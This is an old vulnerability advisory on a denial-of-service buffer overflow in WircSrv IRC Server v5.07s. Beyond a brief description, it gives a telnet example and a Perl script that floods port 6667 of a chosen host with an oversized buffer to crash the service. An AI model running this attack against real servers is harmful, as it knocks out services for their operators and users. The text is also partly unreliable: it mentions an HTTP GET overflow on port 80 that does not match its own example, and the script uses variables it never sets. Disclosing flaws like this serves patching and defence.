Remote DoS Attack in WircSrv Irc Server v5.07s Vulnerability

"THE KING IS THE NEXT RELEASE"

USSR Advisory Code:  USSR-2000049

Release Date:
July 10, 2000

Systems Affected:
WircSrv Irc Server v5.07s

THE PROBLEM

The Ussr Labs team has recently discovered a buffer overflow memory
problem in the WircSrv Irc Server.
What happens is by performing an attack with a malformed request to
port 6667 it will cause the process containing the services to stop
responding.

SPECIAL NOTE: That we take no responsibility for this code it is for
educational purposes only.

Example:
The http Server (Port 80) service has an overflow in the GET command

[hellme () die-communitech net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]

Where [buffer] is approx. 65000 characters, and the process containg
the service crashes

Code in Perl:
wircsrvdos.pl

$foo = "A";                           # this is the NOP

$data .= $foo x $number;              # result of $foo times $number
$serv = $args{s};                     # remote server
$port =  6667;                        # remote port, default is 6667
$buf = "$data";                       # issue this response to the server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $serv\n");
